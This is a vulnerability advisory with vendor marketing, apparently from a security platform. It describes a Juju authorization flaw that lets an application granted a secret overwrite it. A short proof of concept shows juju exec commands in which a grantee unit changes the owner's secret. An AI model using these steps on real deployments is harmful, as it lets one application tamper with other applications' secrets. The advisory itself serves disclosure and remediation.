CVE-2026-32693

CVE-2026-32693 is a high-severity security vulnerability in github.com/juju/juju (go), affecting versions >= 0.0.0-20221021155847-35c560704ee2, < 0.0.0-20260319091847-d06919eb03ec. It is fixed in 0.0.0-20260319091847-d06919eb03ec.

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.
Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested:

  • two applications in the same controller, same model: one owns the secret, another get a grant
  • relation between them
  • secret grant
  • Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested:

  • admin (user) secrets
  • cross-model relations
  • cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
  workload-version: 24.2.0
  opened-ports: []
  charm: ch:amd64/nginx-ingress-integrator-203
  leader: true
  life: alive
  relation-info:
  - relation-id: 11
    endpoint: ingress
    related-endpoint: ingress
    application-data: {}
    related-units:
      evilator/0:
        in-scope: true
        data:
          egress-subnets: 10.152.183.39/32
          ingress-address: 10.152.183.39
          private-address: 10.152.183.39
  - relation-id: 10
    endpoint: nginx-peers
    related-endpoint: nginx-peers
    application-data: {}
    local-unit:
      in-scope: true
      data:
        egress-subnets: 10.152.183.135/32
        ingress-address: 10.152.183.135
        private-address: 10.152.183.135
  provider-id: ingress2-0
  address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" 
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" 
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" 
nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

  • secret-set command logs an error, though returns OK return status
  • the secret value is updated
  • new secret revision is not created
  • new value is visible to both owner and grantee

Impact

  • the application that owns the secret
  • a third application, if a secret is granted to multiple parties
  • any other application that has secrets in the same Kubernetes secret backend

CVE-2026-32693 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260319091847-d06919eb03ec); upgrading removes the vulnerable code path.

Affected versions

github.com/juju/juju (>= 0.0.0-20221021155847-35c560704ee2, < 0.0.0-20260319091847-d06919eb03ec)

Security releases

github.com/juju/juju → 0.0.0-20260319091847-d06919eb03ec (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/juju/juju to 0.0.0-20260319091847-d06919eb03ec or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-32693? CVE-2026-32693 is a high-severity security vulnerability in github.com/juju/juju (go), affecting versions >= 0.0.0-20221021155847-35c560704ee2, < 0.0.0-20260319091847-d06919eb03ec. It is fixed in 0.0.0-20260319091847-d06919eb03ec.
  2. How severe is CVE-2026-32693? CVE-2026-32693 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/juju/juju are affected by CVE-2026-32693? github.com/juju/juju (go) versions >= 0.0.0-20221021155847-35c560704ee2, < 0.0.0-20260319091847-d06919eb03ec is affected.
  4. Is there a fix for CVE-2026-32693? Yes. CVE-2026-32693 is fixed in 0.0.0-20260319091847-d06919eb03ec. Upgrade to this version or later.
  5. Is CVE-2026-32693 exploitable, and should I be worried? Whether CVE-2026-32693 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-32693 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-32693? Upgrade github.com/juju/juju to 0.0.0-20260319091847-d06919eb03ec or later.

Other vulnerabilities in github.com/juju/juju

CVE-2026-5774CVE-2026-5412CVE-2025-68153CVE-2025-68152CVE-2026-4370

Stop the waste.
Protect your environment with Kodem.